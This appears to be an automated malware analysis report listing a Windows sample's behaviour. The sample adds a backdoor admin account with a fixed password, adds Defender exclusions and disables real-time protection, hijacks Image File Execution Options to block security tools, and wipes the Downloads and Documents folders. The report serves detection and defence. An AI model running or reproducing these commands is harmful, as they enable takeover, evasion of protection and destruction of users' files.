Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\Software\Classes\.exe] '' = 'exefile'
- [HKLM\Software\Classes\.exe] 'Content Type' = 'application/x-msdownload'
- [HKLM\Software\Classes\exefile\shell\open\command] '' = '%1 %*'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe'
- [HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe'
- [HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe] 'Debugger' = '<SYSTEM32>\v2ray.exe /f /im v2ray.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe] 'Debugger' = '<SYSTEM32>\v2ray.exe /f /im v2ray.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaradAgent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im BaradAgent.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgagent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im sgagent.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tat_agent.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im tat_agent.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDLive.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDLive.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDFlame.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDFlame.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\YDService.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im YDService.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsTray.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HipsTray.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsctrlsvc.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im wsctrlsvc.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HipsDaemon.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HipsDaemon.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitDimon.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im HitDimon.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im svchost.com'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchostx.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im svchostx.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im xmrig.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im ShellHost.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe.exe] 'Debugger' = '<SYSTEM32>\taskkill.exe /f /im v2ray.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\createexplorershellunelevatedtask
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'"
Executes the following
- '<SYSTEM32>\net.exe' user admin Syskill000000 /add
- '<SYSTEM32>\net.exe' localgroup administrators admin /add
- '<SYSTEM32>\taskkill.exe' /F /IM ShellHost.exe
- '<SYSTEM32>\taskkill.exe' /F /IM v2ray.exe
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state on
- '<SYSTEM32>\taskkill.exe' /f /im loop.exe
- '<SYSTEM32>\taskkill.exe' /f /im sbr.exe
- '<SYSTEM32>\taskkill.exe' /f /im spool.exe
- '<SYSTEM32>\taskkill.exe' /f /im pool.exe
- '<SYSTEM32>\taskkill.exe' /f /im port.exe
- '<SYSTEM32>\taskkill.exe' /f /im cmd.exe
- '<SYSTEM32>\taskkill.exe' /f /im powershell.exe
- '<SYSTEM32>\taskkill.exe' /f /im mypower.exe
- '<SYSTEM32>\taskkill.exe' /f /im mypowershell.exe
- '<SYSTEM32>\taskkill.exe' /f /im lol.exe
- '<SYSTEM32>\taskkill.exe' /f /im rdp.exe
- '<SYSTEM32>\taskkill.exe' /f /im RDP-Blocker-Working.ps1
- '<SYSTEM32>\taskkill.exe' /f /im SRBMiner-MULTI.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\explorer.exe
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- nul
Deletes the following system files
- <SYSTEM32>\tasks\adobe acrobat update task
- <SYSTEM32>\tasks\opera scheduled autoupdate 1723426318
- <SYSTEM32>\tasks\mozilla\firefox default browser agent 308046b0af4a39cb
Deletes following files that it created itself
- <SYSTEM32>\tasks\createexplorershellunelevatedtask
Network activity
UDP
- DNS ASK ap#.msn.com
Miscellaneous
Searches for the following windows
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'ApplicationFrameWindow' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f
- '%WINDIR%\explorer.exe'
- '%WINDIR%\explorer.exe' /NoUACCheck
- '<SYSTEM32>\net.exe' user sys /active:no
- '<SYSTEM32>\net1.exe' user sys /active:no
- '<SYSTEM32>\net.exe' user admin /active:yes
- '<SYSTEM32>\net1.exe' user admin /active:yes
- '<SYSTEM32>\net1.exe' user admin Syskill000000 /add
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '<SYSTEM32>\net.exe' user admin Syskill000000
- '<SYSTEM32>\net1.exe' user admin Syskill000000
- '<SYSTEM32>\net1.exe' localgroup administrators admin /add
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '<SYSTEM32>\cmd.exe' /c for /f "tokens=2" %i in ('query session sys') do logoff %i
- '<SYSTEM32>\cmd.exe' /c query session sys
- '<SYSTEM32>\query.exe' session sys
- '<SYSTEM32>\qwinsta.exe' sys
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "MalwareKiller" /f
- '<SYSTEM32>\schtasks.exe' /delete /tn "MalwareKiller" /f
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path CommandLineEventConsumer delete
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path CommandLineEventConsumer delete
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __EventFilter delete
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\\root\subscription" Path __EventFilter delete
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft*'} | Unregister-ScheduledTask -Confirm:$false"
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete & wmic /namespace:"\root\subscription" Path CommandLineEven...
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path CommandLineEventConsumer Where Name="MalwareKillConsumer" delete
- '<SYSTEM32>\wbem\wmic.exe' /namespace:"\root\subscription" Path __EventFilter Where Name="MalwareKillFilter" delete
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$b='HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options';gci $b|%{rp $_.PsPath Debugger -ea 0};Set-ItemProperty -Path 'HKLM:\Software\Classes\.exe' -Name '(Defau...
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM ShellHost.exe
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM v2ray.exe
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-Item "$env:USERPROFILE\Downloads\*" -Recurse -Force
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypowershell.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f
- '<SYSTEM32>\cmd.exe' /c powershell.exe -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defend...
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state on
- '<SYSTEM32>\sc.exe' delete Nat
- '<SYSTEM32>\sc.exe' delete AdminManager
- '<SYSTEM32>\sc.exe' delete Network
- '<SYSTEM32>\sc.exe' delete Networks
- '<SYSTEM32>\sc.exe' delete NetworkService
- '<SYSTEM32>\sc.exe' delete NetWork Service
- '<SYSTEM32>\sc.exe' delete Winupdate
- '<SYSTEM32>\sc.exe' delete service
- '<SYSTEM32>\sc.exe' delete AutoConfigService
- '<SYSTEM32>\net.exe' user system32 /active:no
- '<SYSTEM32>\net1.exe' user system32 /active:no
- '<SYSTEM32>\net.exe' user guest /active:no
- '<SYSTEM32>\net1.exe' user guest /active:no
- '<SYSTEM32>\net.exe' user delivery /active:no
- '<SYSTEM32>\net1.exe' user delivery /active:no
- '<SYSTEM32>\net.exe' user admini /active:no
- '<SYSTEM32>\net1.exe' user admini /active:no
- '<SYSTEM32>\net.exe' user sys2 /active:no
- '<SYSTEM32>\net1.exe' user sys2 /active:no
- '<SYSTEM32>\net.exe' user Bruno /active:no
- '<SYSTEM32>\net1.exe' user Bruno /active:no
- '<SYSTEM32>\net.exe' user sys1 /active:no
- '<SYSTEM32>\net1.exe' user sys1 /active:no
- '<SYSTEM32>\net.exe' user cloudbase-init /active:no
- '<SYSTEM32>\net1.exe' user cloudbase-init /active:no
- '<SYSTEM32>\net.exe' user Ghostuser /active:no
- '<SYSTEM32>\net1.exe' user Ghostuser /active:no
- '<SYSTEM32>\net.exe' user us /active:no
- '<SYSTEM32>\net1.exe' user us /active:no
- '<SYSTEM32>\net.exe' user ha /active:no
- '<SYSTEM32>\net1.exe' user ha /active:no
- '<SYSTEM32>\net.exe' user service /active:no
- '<SYSTEM32>\net1.exe' user service /active:no
- '<SYSTEM32>\net.exe' user L92 /active:no
- '<SYSTEM32>\net1.exe' user L92 /active:no
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im loop.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im sbr.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im spool.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im pool.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im port.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im cmd.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im powershell.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im mypower.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im mypowershell.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im lol.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im rdp.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im RDP-Blocker-Working.ps1 >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im SRBMiner-MULTI.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*.*"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Downloads\* -Recurse -Force"
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Documents\*.*"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Documents\* -Recurse -Force"
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" /va /f' (with hidden window)
- '<SYSTEM32>\net.exe' user sys /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user admin /active:yes' (with hidden window)
- '<SYSTEM32>\net.exe' user admin Syskill000000 /add' (with hidden window)
- '<SYSTEM32>\net.exe' user admin Syskill000000' (with hidden window)
- '<SYSTEM32>\net.exe' localgroup administrators admin /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c for /f "tokens=2" %i in ('query session sys') do logoff %i' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "MalwareKiller" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __FilterToConsumerBinding delete' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path CommandLineEventConsumer delete' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\\root\subscription" Path __EventFilter delete' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\Microsoft*'} | Unregister-ScheduledTask -Confirm:$false"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic /namespace:"\root\subscription" Path __FilterToConsumerBinding Where Filter="__EventFilter.Name=\"MalwareKillFilter\"" delete & wmic /namespace:"\root\subscription" Path CommandLineEven...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$b='HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options';gci $b|%{rp $_.PsPath Debugger -ea 0};Set-ItemProperty -Path 'HKLM:\Software\Classes\.exe' -Name '(Defau...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM ShellHost.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM v2ray.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-Item "$env:USERPROFILE\Downloads\*" -Recurse -Force' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypowershell.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lol.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pool.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mypower.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spool.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loop.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rdp.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\t.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\port.exe" /v Debugger /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShellHost.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\ShellHost.exe /f /im ShellHost.exe" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\v2ray.exe" /v Debugger /t REG_SZ /d "<SYSTEM32>\v2ray.exe /f /im v2ray.exe" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\administrator','C:\Users\admin'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "New-Item -Path \"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" -Force | Out-Null; Set-ItemProperty -Path \"HKLM:\SOFTWARE\Policies\Microsoft\...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state on' (with hidden window)
- '<SYSTEM32>\sc.exe' delete Nat' (with hidden window)
- '<SYSTEM32>\sc.exe' delete AdminManager' (with hidden window)
- '<SYSTEM32>\sc.exe' delete Network' (with hidden window)
- '<SYSTEM32>\sc.exe' delete Networks' (with hidden window)
- '<SYSTEM32>\sc.exe' delete NetworkService' (with hidden window)
- '<SYSTEM32>\sc.exe' delete NetWork Service' (with hidden window)
- '<SYSTEM32>\sc.exe' delete Winupdate' (with hidden window)
- '<SYSTEM32>\sc.exe' delete service' (with hidden window)
- '<SYSTEM32>\sc.exe' delete AutoConfigService' (with hidden window)
- '<SYSTEM32>\net.exe' user system32 /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user guest /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user delivery /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user admini /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user sys2 /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user Bruno /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user sys1 /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user cloudbase-init /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user Ghostuser /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user us /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user ha /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user service /active:no' (with hidden window)
- '<SYSTEM32>\net.exe' user L92 /active:no' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im loop.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im sbr.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im spool.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im pool.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im port.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im cmd.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im powershell.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im mypower.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im mypowershell.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im lol.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im rdp.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im RDP-Blocker-Working.ps1 >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im SRBMiner-MULTI.exe >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Downloads\*.*"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Downloads\* -Recurse -Force"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c del /f /s /q "%HOMEPATH%\Documents\*.*"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Remove-Item -Path $env:USERPROFILE\Documents\* -Recurse -Force"' (with hidden window)
